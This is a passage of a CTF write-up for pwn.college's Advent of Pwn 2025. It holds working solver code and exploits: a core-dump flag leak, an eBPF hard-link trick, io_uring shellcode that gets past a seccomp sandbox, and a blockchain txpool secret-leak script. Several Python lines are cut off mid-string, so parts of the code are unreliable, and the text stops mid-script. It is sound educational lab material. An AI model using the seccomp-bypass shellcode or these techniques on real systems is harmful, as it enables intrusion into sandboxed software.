pwn.college is an educational cybersecurity platform by Arizona State University. Their Advent of Pwn 2025 released one challenge per day during December. This writeup documents my solutions for the 2025 edition's 12 challenges, covering binary exploitation, web security, blockchain, VM escapes, and even MS-DOS networking. Analysis, exploit development and this writeup were assisted by AI (Anthropic Claude.ai Max, Google Gemini, Perplexity).
Binary performs arithmetic transformations (add, sub, cmp) on 1024 input bytes and compares against hardcoded target values. Find the correct input to get the flag.
Three different solving methods were explored, each with distinct trade-offs:
| Tool | Approach | Pros | Cons |
|---|---|---|---|
| Perl | First idea, text processing of objdump output, reverse operations | Simple, no dependencies | Only works for trivial cases |
| angr | Second idea and first working solution (after 2 hours of runtime): Automatic symbolic execution with instruction tracing | Fully automatic | Slower, memory-heavy |
| Z3 | Third solution added after day 12: Model operations symbolically without instruction analysis | Fast (~10s), precise | Manual constraint setup |
#!perl
undef %n;
undef %target;
open(D, "check-list.objdump-D") or die;
while(){
chomp();
print ">>> $_\n";
if (($opcode, $val, $var) = m@.*(add|sub|cmp)b\s+\$([^,]*),([^,]*)\(.rbp\).*@){
print("opcode: $opcode; val=$val; var=$var\n");
if ($opcode eq "add") {
eval("\$var2 = $var;");
eval("\$val2 = $val;");
$oval=$n{$var};
$n{$var} += $val2;
$n{$var} -= 256 if $n{$var} > 255;
$nval=$n{$var};
print("$opcode: var=$var, val=$val / val2=$val2: $oval -> $nval\n");
} elsif ($opcode eq "sub") {
eval("\$var2 = $var;");
eval("\$val2 = $val;");
$oval=$n{$var};
$n{$var} -= $val2;
$n{$var} += 256 if $n{$var} < 0;
$nval=$n{$var};
print("$opcode: var=$var, val=$val / val2=$val2: $oval -> $nval\n");
} elsif ($opcode eq "cmp") {
eval("\$var2 = $var;"); $var2 *= -1;
eval("\$val2 = $val;");
$n = $n{$var};
# target + n = val -> target = val - n
$target = $val2 - $n;
$target += 256 if $target < 0;
$target -= 256 if $target > 255;
$c = chr($target);
$targetx = sprintf("%x", $target);
print("cmp: val=$val, var=$var / var2=$var2, n=$n -> target=$target = 0x${targetx} = '$c'\n");
$target{$var2} = $c;
} else {
die "Unknown opcode: $opcode - $_\n";
}
print "\n";
}
}
open(RESULT, ">parse-result") or die;
for($var=0; $var<=0x400; $var++) {
$c = $target{$var};
print "result: var=$var -> c=$c\n";
print RESULT "$c";
}
close(RESULT);
import angr
import claripy
# Load binary
p = angr.Project('./check-list', auto_load_libs=False)
# Create symbolic input buffer (1024 bytes)
flag = claripy.BVS('flag', 8 * 0x400)
# Create state at address after syscall (where manipulation starts)
state = p.factory.blank_state(addr=0x401022)
# Set up stack pointer and base pointer
state.regs.rbp = 0x7ffffffffff000
state.regs.rsp = 0x7fffffffefb00
# Place symbolic buffer at -0x400(%rbp)
buffer_addr = state.regs.rbp - 0x400
state.memory.store(buffer_addr, flag)
# Create simulation manager
simgr = p.factory.simulation_manager(state)
# Run until we reach success address, avoid fail address
simgr.explore(find=0xaa46d4, avoid=0xaa476a)
# Check if we found a solution
if simgr.found:
solution_state = simgr.found[0]
solution = solution_state.solver.eval(flag, cast_to=bytes)
print("Solution found:")
print(solution)
# Write to file
with open('angr-v2-solution.bin', 'wb') as f:
f.write(solution)
else:
print("No solution found")
#!/usr/bin/env python3
"""
Z3 solver for check-list binary using objdump output
"""
from z3 import *
import re
import subprocess
def parse_objdump(filename):
"""Parse operations and targets from objdump output"""
operations = []
targets = {}
# Like Perl: open(D, "gzip -cd file |")
proc = subprocess.Popen(['gzip', '-cd', filename], stdout=subprocess.PIPE, text=True)
for line in proc.stdout:
# Match: addb/subb $0xVAL,-0xOFF(%rbp)
m = re.search(r'(add|sub|cmp)b\s+\$0x([0-9a-f]+),(-?0x[0-9a-f]+)\(%rbp\)', line)
if not m:
continue
opcode = m.group(1)
val = int(m.group(2), 16)
offset = int(m.group(3), 16)
if offset > 0x7fffffff: # Handle negative as signed 32-bit
offset -= 0x100000000
idx = offset + 0x400 # Convert to buffer index 0-1023
if not (0 <= idx < 1024):
continue
if opcode == 'add':
operations.append(('add', idx, val))
elif opcode == 'sub':
operations.append(('sub', idx, val))
elif opcode == 'cmp':
targets[idx] = val
proc.wait()
return operations, targets
def solve_z3(operations, targets):
"""Solve using Z3"""
print(f"Building Z3 model: {len(operations)} ops, {len(targets)} targets")
# Symbolic input bytes
input_bytes = [BitVec(f'in_{i}', 8) for i in range(1024)]
state = list(input_bytes)
# Apply operations forward
for op, idx, val in operations:
if op == 'add':
state[idx] = state[idx] + val
else:
state[idx] = state[idx] - val
# Constraints: final state == targets
solver = Solver()
for idx, target in targets.items():
solver.add(state[idx] == target)
print("Solving...")
if solver.check() == sat:
model = solver.model()
solution = bytearray(1024)
for i in range(1024):
solution[i] = model.eval(input_bytes[i]).as_long()
return bytes(solution)
print("No solution!")
return None
if __name__ == '__main__':
print("Parsing check-list.objdump-D.gz...")
operations, targets = parse_objdump('check-list.objdump-D.gz')
print(f"Found {len(operations)} operations, {len(targets)} targets")
solution = solve_z3(operations, targets)
if solution:
with open('z3solver-result', 'wb') as f:
f.write(solution)
print(f"Solution saved to z3solver-result")
print(f"First 32 bytes: {solution[:32].hex()}")
$ python3 z3solver.py
Parsing check-list.objdump-D.gz...
Found 1048576 operations, 1024 targets
Building Z3 model and solving...
Solution saved to z3solver-result
First 32 bytes: 399381f3338e7bd3d10d2c5b81275570...
$ /challenge/check-list <z3solver-result
β¨ Correct: you checked it twice, and it shows!
pwn.college{AcAZS_25zbh-fjyYOVR93R1ydiZ.QX4UDOxIDL2ATOykzW}Z3 was fastest (~10s for 1M ops), angr most automatic but slower, Perl only viable for simple reversible arithmetic.
The claus binary is setuid, reads /flag into memory, then slowly overwrites it with '#' characters (with sleep(1) between each). The core dump is only readable by root.
Two critical steps: (1) Crash the process before flag is overwritten. (2) Core dump is root-readable only - use pwn.college's "practice mode"!
hacker@dojo:~$ ulimit -c unlimited
hacker@dojo:~$ /challenge/claus
^\ # Send SIGQUIT (Ctrl+\) immediately!
Quit (core dumped)
# In pwn.college UI: Click "Practice" button (allows sudo)
hacker@dojo:~$ sudo strings core | grep pwn.college
pwn.college{4Gzm5TpgevpvLDXaoAgMnketX0m.QX4cDOxIDL2ATOykzW}
Race against time (SIGQUIT before overwrite) + privilege trick via practice mode = flag in core dump.
A file /stocking appears temporarily containing the flag, then gets deleted.
This isn't a traditional race condition - the key is to open a file handle before the file is deleted. Unix file handles remain valid even after unlink()!
$ tail -F /stocking & # Open handle, keep following
[1] 1234
$ renice -n 1 -p $$ # Be nice, also for children
1314 (process ID) old priority 0, new priority 1
$ sleep 10 # Wait for flag to appear
pwn.college{0SHZlkB_mMZ6BJ8n6RNX6fI95E7.QX0gDOxIDL2ATOykzW}
File descriptor persistence: once you have a handle, the inode stays accessible even after deletion.
An eBPF program (tracker.bpf.o) monitors linkat(2) syscalls and tracks a state machine expecting specific filenames in order.
Reverse engineering the eBPF bytecode reveals it expects hard links from "sleigh" to Santa's eight reindeer, in the correct order from "A Visit from St. Nicholas".
#!/bin/sh
touch sleigh
for name in dasher dancer prancer vixen comet cupid donner blitzen
do
ln sleigh $name
done
$ chmod +x solve.sh && ./solve.sh
π Ho Ho Ho! You've harnessed the reindeer! π
pwn.college{gGHza3gfykO9vb9utmFJFx4jeD7.QXykDOxIDL2ATOykzW}eBPF state machine expects linkat() calls in specific sequence. Hard links (not symlinks!) trigger the hook.
The sleigh binary reads shellcode into a 4KB RWX region at 0x1225000, then activates a strict seccomp sandbox allowing only: io_uring_setup, io_uring_enter, io_uring_register, exit_group. No read/write/open/mmap allowed!
io_uring can perform file I/O (OPENAT, READ, WRITE) without those syscalls - the kernel does the work. But io_uring normally requires mmap() for ring buffers. Solution: IORING_SETUP_NO_MMAP (kernel 6.1+) lets us provide our own memory!
sub rsp, 0x2000 + touch via RSP#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define NORTH_POLE_ADDR ((void*)0x1225000)
#define QUEUE_DEPTH 1
#define BLOCK_SZ 512
#define io_uring_smp_store_release(p, v) \
atomic_store_explicit((_Atomic typeof(*(p)) *)(p), (v), memory_order_release)
#define io_uring_smp_load_acquire(p) \
atomic_load_explicit((_Atomic typeof(*(p)) *)(p), memory_order_acquire)
int main() {
/* === SIMULATING SLEIGH LOADER === */
void *block = mmap(NORTH_POLE_ADDR, 0x1000,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (block != NORTH_POLE_ADDR) {
perror("mmap");
return 1;
}
memset(block, 0, 0x1000);
/* === END LOADER SIMULATION === */
/* Get stack page for rings */
void *stack_page;
__asm__ volatile ("mov %%rsp, %0" : "=r"(stack_page));
stack_page = (void*)((unsigned long)stack_page & ~0xFFFUL);
stack_page -= 4096; /* Use page below current stack */
memset(stack_page, 0, 4096);
/* Layout:
* 0x1225000: SQEs (64 bytes) - page-aligned
* 0x1225500: buffer (512 bytes)
* 0x1225900: filename
* stack_page: rings
*/
void *sqes_ptr = block;
char *buff = block + 0x500;
char *filename = block + 0x900;
void *rings_ptr = stack_page;
strcpy(filename, "flag"); /* Use "/flag" for real challenge */
struct io_uring_params p;
memset(&p, 0, sizeof(p));
p.flags = IORING_SETUP_NO_MMAP | IORING_SETUP_NO_SQARRAY;
p.cq_off.user_addr = (unsigned long long)rings_ptr;
p.sq_off.user_addr = (unsigned long long)sqes_ptr;
int ring_fd = syscall(__NR_io_uring_setup, QUEUE_DEPTH, &p);
if (ring_fd < 0) {
perror("io_uring_setup");
return 1;
}
/* Ring pointers */
unsigned *sring_tail = rings_ptr + p.sq_off.tail;
unsigned *sring_mask = rings_ptr + p.sq_off.ring_mask;
unsigned *cring_head = rings_ptr + p.cq_off.head;
unsigned *cring_mask = rings_ptr + p.cq_off.ring_mask;
struct io_uring_cqe *cqes = rings_ptr + p.cq_off.cqes;
struct io_uring_sqe *sqes = sqes_ptr;
/* OPENAT */
unsigned tail = *sring_tail;
struct io_uring_sqe *sqe = &sqes[tail & *sring_mask];
memset(sqe, 0, sizeof(*sqe));
sqe->opcode = IORING_OP_OPENAT;
sqe->fd = AT_FDCWD;
sqe->addr = (unsigned long)filename;
sqe->open_flags = O_RDONLY;
io_uring_smp_store_release(sring_tail, tail + 1);
syscall(__NR_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0);
unsigned head = io_uring_smp_load_acquire(cring_head);
struct io_uring_cqe *cqe = &cqes[head & *cring_mask];
int flag_fd = cqe->res;
if (flag_fd < 0) {
write(2, "OPENAT failed\n", 14);
return 1;
}
io_uring_smp_store_release(cring_head, head + 1);
/* READ + WRITE loop */
off_t offset = 0;
while (1) {
tail = *sring_tail;
sqe = &sqes[tail & *sring_mask];
memset(sqe, 0, sizeof(*sqe));
sqe->opcode = IORING_OP_READ;
sqe->fd = flag_fd;
sqe->addr = (unsigned long)buff;
sqe->len = BLOCK_SZ;
sqe->off = offset;
io_uring_smp_store_release(sring_tail, tail + 1);
syscall(__NR_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0);
head = io_uring_smp_load_acquire(cring_head);
cqe = &cqes[head & *cring_mask];
int res = cqe->res;
io_uring_smp_store_release(cring_head, head + 1);
if (res <= 0) break;
tail = *sring_tail;
sqe = &sqes[tail & *sring_mask];
memset(sqe, 0, sizeof(*sqe));
sqe->opcode = IORING_OP_WRITE;
sqe->fd = STDOUT_FILENO;
sqe->addr = (unsigned long)buff;
sqe->len = res;
sqe->off = -1;
io_uring_smp_store_release(sring_tail, tail + 1);
syscall(__NR_io_uring_enter, ring_fd, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0);
head = io_uring_smp_load_acquire(cring_head);
io_uring_smp_store_release(cring_head, head + 1);
offset += res;
}
return 0;
}
$ ln -sf /etc/hostname flag
$ cat flag
2025~day-05
$ gcc 10no_mmap-1page+stack.c -o 10no_mmap-1page+stack
$ ./10no_mmap-1page+stack
2025~day-05
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
# Constants
SYS_io_uring_setup = 425
SYS_io_uring_enter = 426
SYS_exit_group = 231
IORING_SETUP_NO_MMAP = 0x4000
IORING_SETUP_NO_SQARRAY = 0x10000
IORING_ENTER_GETEVENTS = 1
IORING_OP_OPENAT = 18
IORING_OP_READ = 22
IORING_OP_WRITE = 23
O_RDONLY = 0
AT_FDCWD = -100
# Memory layout at 0x1225000:
OFF_SQES = 0x000
OFF_BUFFER = 0x500
OFF_FNAME = 0x900
OFF_PARAMS = 0xA00
# io_uring_params offsets
PARAMS_FLAGS = 8
PARAMS_SQ_USER_ADDR = 72
PARAMS_CQ_USER_ADDR = 112
# Ring offsets (constant from strace)
RING_SQ_TAIL = 4
RING_CQ_HEAD = 8
RING_CQ_MASK = 20
RING_CQES = 64
# SQE offsets
SQE_OPCODE = 0
SQE_FD = 4
SQE_OFF = 8
SQE_ADDR = 16
SQE_LEN = 24
SQE_OPEN_FLAGS = 28
shellcode = asm(f'''
/* r12 = base address (page-aligned from RIP) */
lea r12, [rip]
and r12, ~0xFFF
/* r13 = stack page for rings */
/* Must touch via rsp to trigger stack growth! */
sub rsp, 0x2000
mov qword ptr [rsp], 0 /* Touch via rsp - triggers kernel stack growth */
mov r13, rsp
and r13, ~0xFFF
/* Clear params area */
lea rdi, [r12 + {OFF_PARAMS}]
xor eax, eax
mov ecx, 30
rep stosq
/* Clear stack page */
mov rdi, r13
xor eax, eax
mov ecx, 512
rep stosq
/* Setup io_uring_params */
lea rdi, [r12 + {OFF_PARAMS}]
mov dword ptr [rdi + {PARAMS_FLAGS}], {IORING_SETUP_NO_MMAP | IORING_SETUP_NO_SQARRAY}
lea rax, [r12 + {OFF_SQES}]
mov qword ptr [rdi + {PARAMS_SQ_USER_ADDR}], rax
mov qword ptr [rdi + {PARAMS_CQ_USER_ADDR}], r13
/* io_uring_setup(1, params) */
mov eax, {SYS_io_uring_setup}
mov edi, 1
lea rsi, [r12 + {OFF_PARAMS}]
syscall
mov r14d, eax /* r14 = ring_fd */
/* Write filename "flag" + null terminator */
lea rdi, [r12 + {OFF_FNAME}]
mov eax, 0x67616c66 /* "flag" little-endian */
stosd
xor eax, eax
stosd /* null terminator */
/* === OPENAT === */
lea rdi, [r12 + {OFF_SQES}]
xor eax, eax
mov ecx, 8
rep stosq
lea rdi, [r12 + {OFF_SQES}]
mov byte ptr [rdi + {SQE_OPCODE}], {IORING_OP_OPENAT}
mov dword ptr [rdi + {SQE_FD}], {AT_FDCWD & 0xFFFFFFFF}
lea rax, [r12 + {OFF_FNAME}]
mov qword ptr [rdi + {SQE_ADDR}], rax
mov dword ptr [rdi + {SQE_OPEN_FLAGS}], {O_RDONLY}
mov dword ptr [r13 + {RING_SQ_TAIL}], 1
mov eax, {SYS_io_uring_enter}
mov edi, r14d
mov esi, 1
mov edx, 1
mov r10d, {IORING_ENTER_GETEVENTS}
xor r8, r8
xor r9, r9
syscall
/* Get flag_fd from CQE[0].res (res is at offset 8 within CQE) */
mov r15d, [r13 + {RING_CQES} + 8] /* cqe->res */
mov dword ptr [r13 + {RING_CQ_HEAD}], 1
/* === READ + WRITE LOOP === */
xor ebx, ebx /* offset = 0 */
read_loop:
/* READ SQE */
lea rdi, [r12 + {OFF_SQES}]
xor eax, eax
mov ecx, 8
rep stosq
lea rdi, [r12 + {OFF_SQES}]
mov byte ptr [rdi + {SQE_OPCODE}], {IORING_OP_READ}
mov dword ptr [rdi + {SQE_FD}], r15d
mov qword ptr [rdi + {SQE_OFF}], rbx
lea rax, [r12 + {OFF_BUFFER}]
mov qword ptr [rdi + {SQE_ADDR}], rax
mov dword ptr [rdi + {SQE_LEN}], 512
inc dword ptr [r13 + {RING_SQ_TAIL}]
mov eax, {SYS_io_uring_enter}
mov edi, r14d
mov esi, 1
mov edx, 1
mov r10d, {IORING_ENTER_GETEVENTS}
xor r8, r8
xor r9, r9
syscall
/* Get bytes_read */
mov eax, [r13 + {RING_CQ_HEAD}]
and eax, 1 /* & mask (mask=1 for cq_entries=2) */
shl eax, 4 /* * 16 (sizeof cqe) */
add eax, {RING_CQES} + 8 /* + offset to cqes + offset to res */
movsxd rbp, dword ptr [r13 + rax]
inc dword ptr [r13 + {RING_CQ_HEAD}]
test ebp, ebp
jle done
/* WRITE SQE */
lea rdi, [r12 + {OFF_SQES}]
xor eax, eax
mov ecx, 8
rep stosq
lea rdi, [r12 + {OFF_SQES}]
mov byte ptr [rdi + {SQE_OPCODE}], {IORING_OP_WRITE}
mov dword ptr [rdi + {SQE_FD}], 1
mov qword ptr [rdi + {SQE_OFF}], -1
lea rax, [r12 + {OFF_BUFFER}]
mov qword ptr [rdi + {SQE_ADDR}], rax
mov dword ptr [rdi + {SQE_LEN}], ebp
inc dword ptr [r13 + {RING_SQ_TAIL}]
mov eax, {SYS_io_uring_enter}
mov edi, r14d
mov esi, 1
mov edx, 1
mov r10d, {IORING_ENTER_GETEVENTS}
xor r8, r8
xor r9, r9
syscall
inc dword ptr [r13 + {RING_CQ_HEAD}]
add rbx, rbp
jmp read_loop
done:
mov eax, {SYS_exit_group}
mov edi, 42 /* Magic exit code */
syscall
''')
print(f"[*] Shellcode size: {len(shellcode)} bytes")
# NOP sled + shellcode
nop_sled = b'\x90' * 0x100
payload = nop_sled + shellcode
payload = payload.ljust(0x1000, b'\x00')
print(f"[*] Total payload: {len(payload)} bytes")
# Write payload for manual testing with strace
with open('payload.bin', 'wb') as f:
f.write(payload)
print("[*] Also written to payload.bin (test with: strace -f /challenge/sleigh < payload.bin)")
# Run
p = process('/challenge/sleigh')
p.recvuntil(b'front.\n')
p.send(payload)
p.recvuntil(b'twice!\n')
try:
output = p.recvall(timeout=2)
if output:
print(f"[+] Flag: {output.decode()}")
else:
print("[-] No output")
except:
print("[-] Timeout")
p.wait()
exit_code = p.poll()
print(f"[*] Exit code: {exit_code}")
if exit_code == 42:
print("[+] Shellcode ran to completion!")
elif exit_code == -11:
print("[-] SIGSEGV")
elif exit_code == -31:
print("[-] SIGSYS (seccomp blocked syscall)")
else:
print(f"[-] Unexpected exit")
p.close()
$ rm flag
$ ln -s /flag flag
$ python3 11shellcode.py
[*] Shellcode size: 459 bytes
[*] Total payload: 4096 bytes
[*] Also written to payload.bin (test with: strace -f /challenge/sleigh < payload.bin)
[+] ting local process '/challenge/sleigh': pid 284
[+] Receiving all data: Done (60B)
[*] Process '/challenge/sleigh' stopped with exit code 42 (pid 284)
[+] Flag: pwn.college{0SWKQLFiC6lhUf3T8Ljsm_F2Tk-.QX4ATOxIDL2ATOykzW}
[*] Exit code: 42
[+] Shellcode ran to completion!
$ strace /challenge/sleigh <payload.bin |& tail -5
io_uring_setup(1, {flags=IORING_SETUP_NO_MMAP|IORING_SETUP_NO_SQARRAY, sq_thread_cpu=0, sq_thread_idle=0, sq_entries=1, cq_entries=2, features=IORING_FEAT_SINGLE_MMAP|IORING_FEAT_NODROP|IORING_FEAT_SUBMIT_STABLE|IORING_FEAT_RW_CUR_POS|IORING_FEAT_CUR_PERSONALITY|IORING_FEAT_FAST_POLL|IORING_FEAT_POLL_32BITS|IORING_FEAT_SQPOLL_NONFIXED|IORING_FEAT_EXT_ARG|IORING_FEAT_NATIVE_WORKERS|IORING_FEAT_RSRC_TAGS|IORING_FEAT_CQE_SKIP|IORING_FEAT_LINKED_FILE|IORING_FEAT_REG_REG_RING|IORING_FEAT_RECVSEND_BUNDLE|IORING_FEAT_MIN_TIMEOUT, sq_off={head=0, tail=4, ring_mask=16, ring_entries=24, flags=36, dropped=32, array=0, user_addr=0x1225000}, cq_off={head=8, tail=12, ring_mask=20, ring_entries=28, overflow=44, cqes=64, flags=40, user_addr=0x7ffed82b6000}}) = 3
io_uring_enter(3, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) = 1
io_uring_enter(3, 1, 1, IORING_ENTER_GETEVENTS, NULL, 0) = 1
exit_group(42) = ?
+++ exited with 42 +++
$ /challenge/sleigh <payload.bin
π· Loading cargo: please stow your sled at the front.
π Checking Santa's naughty list... twice!
pwn.college{0SWKQLFiC6lhUf3T8Ljsm_F2Tk-.QX4ATOxIDL2ATOykzW}
$IORING_SETUP_NO_MMAP + stack as second page-aligned buffer = seccomp bypass via io_uring I/O operations.
NiceCoinβ’ - a proof-of-work blockchain. Each identity starts with 1 balance, gets +1 per "nice" block nomination (max 10). We need to leak Santa's 32-character secret and send it back to get the flag.
Gifts appear in the txpool (pending transactions) before being mined! We can read them without spending balance. The trick: mine aggressively but exclude our own gift transactions to avoid paying for them.
#!/usr/bin/env python3
"""
pwn.college advent-of-pwn CTF day 6
1. Mine blocks to get Nice balance for 'hacker'
2. Leak SECRET_GIFT character by character via 'secret index #N'
3. Send letter with full SECRET_GIFT to get FLAG
"""
import hashlib
import json
import os
import re
import sys
import time
import uuid
import requests
from pathlib import Path
from cryptography.hazmat.primitives import serialization
TARGET = os.environ.get("NORTH_POOLE", "http://localhost")
DIFFICULTY = 16
DIFFICULTY_PREFIX = "0" * (DIFFICULTY // 4)
LETTER_HEADER = "Dear Santa,\n\nFor christmas this year I would like "
SECRET_FILE = Path("./secret_progress.txt")
def get_boot_time():
"""Get system boot time as timestamp."""
with open("/proc/uptime") as f:
uptime_seconds = float(f.read().split()[0])
return time.time() - uptime_seconds
def load_secret_progress(chain_index=None):
"""Load previously leaked secret chars from file."""
if SECRET_FILE.exists():
file_mtime = SECRET_FILE.stat().st_mtime
boot_time = get_boot_time()
# Check 1: File older than system boot
if file_mtime < boot_time:
print(f" [!] Secret file is from before reboot, resetting...")
SECRET_FILE.unlink()
return ""
# Check 2: Chain was reset (low block index = fresh chain)
# If chain has few blocks but we have cached progress, cache is stale
if chain_index is not None and chain_index < 50:
saved = SECRET_FILE.read_text().strip()
if len(saved) > 0:
print(f" [!] Chain was reset (index={chain_index}), cached sec)
SECRET_FILE.unlink()
return ""
return SECRET_FILE.read_text().strip()
return ""
def save_secret_progress(secret):
"""Save current secret progress to file."""
SECRET_FILE.write_text(secret)
def build_secret(known, gifts_found, start_index):
"""Build secret string from known prefix and found gifts."""
result = known
for i in range(start_index, 32):
if i in gifts_found:
result += gifts_found[i]
else:
break # Stop at first gap
return result
# Load hacker's key from /challenge/keys/hacker/key
KEY_PATH = Path("/challenge/keys/hacker/key")
if not KEY_PATH.exists():
print(f"[!] Key not found at {KEY_PATH}")
sys.exit(1)
hacker_key = serialization.load_ssh_private_key(KEY_PATH.read_bytes(), password)
def hash_block(block: dict) -> str:
return hashlib.sha256(json.dumps(block, sort_keys=True, separators=(",", ":)
def sign_tx(tx, key):
tx_type = tx["type"]
payload = {
"src": tx["src"],
"dst": tx["dst"],
"type": tx["type"],
tx_type: tx[tx_type],
"nonce": tx["nonce"],
}
msg = json.dumps(payload, sort_keys=True, separators=(",", ":"))
digest = hashlib.sha256(msg.encode()).digest()
return key.sign(digest).hex()
def get_head():
r = requests.get(f"{TARGET}/block")
r.raise_for_status()
return r.json()
def get_txpool(block_hash=None):
params = {"hash": block_hash} if block_hash else {}
r = requests.get(f"{TARGET}/txpool", params=params)
r.raise_for_status()
return r.json()
def get_balances(block_hash=None):
params = {"hash": block_hash} if block_hash else {}
r = requests.get(f"{TARGET}/balances", params=params)
r.raise_for_status()
return r.json()
def mine_block(prev_hash, index, txs, nice, verbose=False):
"""Mine a block with given parameters."""
block = {
"index": index,
"prev_hash": prev_hash,
"nonce": 0,
"txs": txs,
"nice": nice,
}
nonce = 0
while True:
block["nonce"] = nonce
block_hash = hash_block(block)
if block_hash.startswith(DIFFICULTY_PREFIX):
if verbose:
print(f" Mined block {index} (hash={block_hash[:12]}...)")
return block, block_hash
nonce += 1
def submit_block(block):
r = requests.post(f"{TARGET}/block", json=block)
return r.status_code == 200, r.text
def submit_tx(tx):
r = requests.post(f"{TARGET}/tx", json=tx)
return r.status_code == 200, r.text
def send_letter(src, letter_text, key):
"""Send a signed letter transaction."""
tx = {
"src": src,
"dst": "santa",
"type": "letter",
"letter": LETTER_HEADER + letter_text,
"nonce": str(uuid.uuid4()),
}
tx["sig"] = sign_tx(tx, key)
return submit_tx(tx), tx["nonce"]
def get_chain():
"""Get the full chain."""
head = get_head()
chain = [head["block"]]
current_hash = head["block"]["prev_hash"]
while True:
r = requests.get(f"{TARGET}/block", params={"hash": current_hash})
if r.status_code != 200:
break
block = r.json()["block"]
chain.append(block)
current_hash = block["prev_hash"]
return list(reversed(chain))
def find_gift_for_nonce(nonce):
"""Search chain for a gift transaction with matching nonce."""
chain = get_chain()
for block in chain:
for tx in block.get("txs", []):
if tx.get("type") == "gift" and tx.get("nonce") == f"{nonce}-gift":
return tx.get("gift")
return None
def filter_txs(txs, exclude_nonces):
"""Filter out transactions with specific nonces (to avoid including gifts)."
return [tx for tx in txs if tx.get("nonce") not in exclude_nonces]
def find_gift_in_txpool(letter_nonce):
"""Look for Santa's gift response in txpool (without mining it into chain)."
txpool = get_txpool()
gift_nonce = f"{letter_nonce}-gift"
for tx in txpool.get("txs", []):
if tx.get("type") == "gift" and tx.get("nonce") == gift_nonce:
return tx.get("gift")
return None
def main():
print("[*] pwn.college advent-of-pwn CTF day 6")
print(f"[*] Target: {TARGET}")
# Check current state
print("\n[1] Checking blockchain state...")
head = get_head()
balances = get_balances()
print(f" Head block index: {head['block']['index']}")
print(f" Hacker balance: {balances['balances'].get('hacker', 0)}")
# Count how many times hacker was already nice
chain = get_chain()
hacker_nice_count = sum(1 for b in chain if b.get("nice") == "hacker")
print(f" Hacker nice count: {hacker_nice_count}/10")
# Mine blocks to max out hacker's nice (up to 10)
needed_nice = 10 - hacker_nice_count
if needed_nice > 0:
print(f"\n[2] Mining {needed_nice} blocks to max hacker's nice balance.)
for i in range(needed_nice):
head = get_head()
txpool = get_txpool(head["hash"])
block, _ = mine_block(head["hash"], head["block"]["index"] + 1,
txpool["txs"], "hacker")
success, msg = submit_block(block)
if not success:
print(f" Block rejected: {msg}")
if "abuse" in msg:
break
balances = get_balances()
hacker_balance = balances['balances'].get('hacker', 0)
print(f" Hacker balance now: {hacker_balance}")
if hacker_balance < 1:
print(f"\n[!] Balance is 0. Cannot proceed.")
print(f" Restart challenge and run immediately!")
if SECRET_FILE.exists():
SECRET_FILE.unlink()
return
# Load any cached progress
known_secret = ""
if SECRET_FILE.exists():
saved = SECRET_FILE.read_text().strip()
# Validate - check chain for hacker gifts
chain = get_chain()
hacker_gifts_in_chain = sum(1 for b in chain for tx in b.get("txs", [])
if tx.get("type") == "gift" and tx.get("dst)
if len(saved) > 0 and hacker_gifts_in_chain == 0:
print(f"\n[!] Chain was reset, clearing stale cache...")
SECRET_FILE.unlink()
else:
known_secret = saved
# Scan chain for existing leaked chars
print("\n[3] Scanning chain for existing secret chars...")
chain_gifts = {}
for block in chain:
for tx in block.get("txs", []):
if tx.get("type") == "gift" and tx.get("dst") == "hacker":
gift_value = tx.get("gift", "")
if len(gift_value) == 1:
gift_nonce = tx.get("nonce", "")
if gift_nonce.endswith("-gift"):
letter_nonce = gift_nonce[:-5]
for blk in chain:
for ltx in blk.get("txs", []):
if ltx.get("type") == "letter" and ltx.get("non:
match = re.search(r"secret index #(\d+)", l)
if match:
idx = int(match.group(1))
chain_gifts[idx] = gift_value
print(f" [{idx:02d}] -> '{gift_value)
# Merge cached with chain
for i, c in enumerate(known_secret):
if i not in chain_gifts:
chain_gifts[i] = c
# Find missing indices
missing_indices = [i for i in range(32) if i not in chain_gifts]
print(f" Have {32 - len(missing_indices)}/32 chars")
if len(missing_indices) == 0 and len(known_secret) == 32:
secret = known_secret
print(f" Full secret from cache: {secret}")
else:
# BATCH ALL: Send all missing secret indices AND the flag request toget!
print(f"\n[4] Sending ALL letters at once (racing elves)...")
gift_nonces_to_exclude = set()
letter_nonces = [] # (index or 'flag', nonce)
# First send all missing index requests
for i in missing_indices:
letter_text = f"secret index #{i}"
(success, msg), letter_nonce = send_letter("hacker", letter_text, h)
if not success:
print(f" Letter {i} rejected: {msg}")
return
letter_nonces.append((i, letter_nonce))
gift_nonces_to_exclude.add(f"{letter_nonce}-gift")
print(f" [{i:02d}] sent")
# Mine blocks aggressively (excluding our gifts!)
print(" Mining to confirm letters...")
for _ in range(8):
head = get_head()
txpool = get_txpool(head["hash"])
filtered_txs = filter_txs(txpool["txs"], gift_nonces_to_exclude)
block, _ = mine_block(head["hash"], head["block"]["index"] + 1, fil)
submit_block(block)
# Collect secret chars from txpool
print(" Collecting secret chars from txpool...")
for attempt in range(200):
# Mine first to block elves!
head = get_head()
txpool = get_txpool(head["hash"])
filtered_txs = filter_txs(txpool["txs"], gift_nonces_to_exclude)
block, _ = mine_block(head["hash"], head["block"]["index"] + 1, fil)
submit_block(block)
# Check for gifts
for idx, letter_nonce in letter_nonces:
if idx in chain_gifts:
continue
gift = find_gift_in_txpool(letter_nonce)
if gift and len(gift) == 1:
chain_gifts[idx] = gift
print(f" [{idx:02d}] -> '{gift}'")
if all(i in chain_gifts for i in range(32)):
break
time.sleep(0.05)
# Check chain for any missed
if not all(i in chain_gifts for i in range(32)):
print(" Checking chain...")
for idx, letter_nonce in letter_nonces:
if idx in chain_gifts:
continue
gift = find_gift_for_nonce(letter_nonce)
if gift and len(gift) == 1:
chain_gifts[idx] = gift
print(f" [{idx:02d}] -> '{gift}' (chain)")
if not all(i in chain_gifts for i in range(32)):
missing = [i for i in range(32) if i not in chain_gifts]
partial = ''.join(chain_gifts.get(i, '?') for i in range(32))
save_secret_progress(partial.replace('?', ''))
print(f"\n Incomplete: {partial}")
print(f" Missing: {missing}")
print(f" Run again!")
return
secret = ''.join(chain_gifts[i] for i in range(32))
save_secret_progress(secret)
print(f"\n[5] SECRET_GIFT = {secret}")
# Now send the flag letter
print("\n[6] Sending flag letter...")
# Check balance
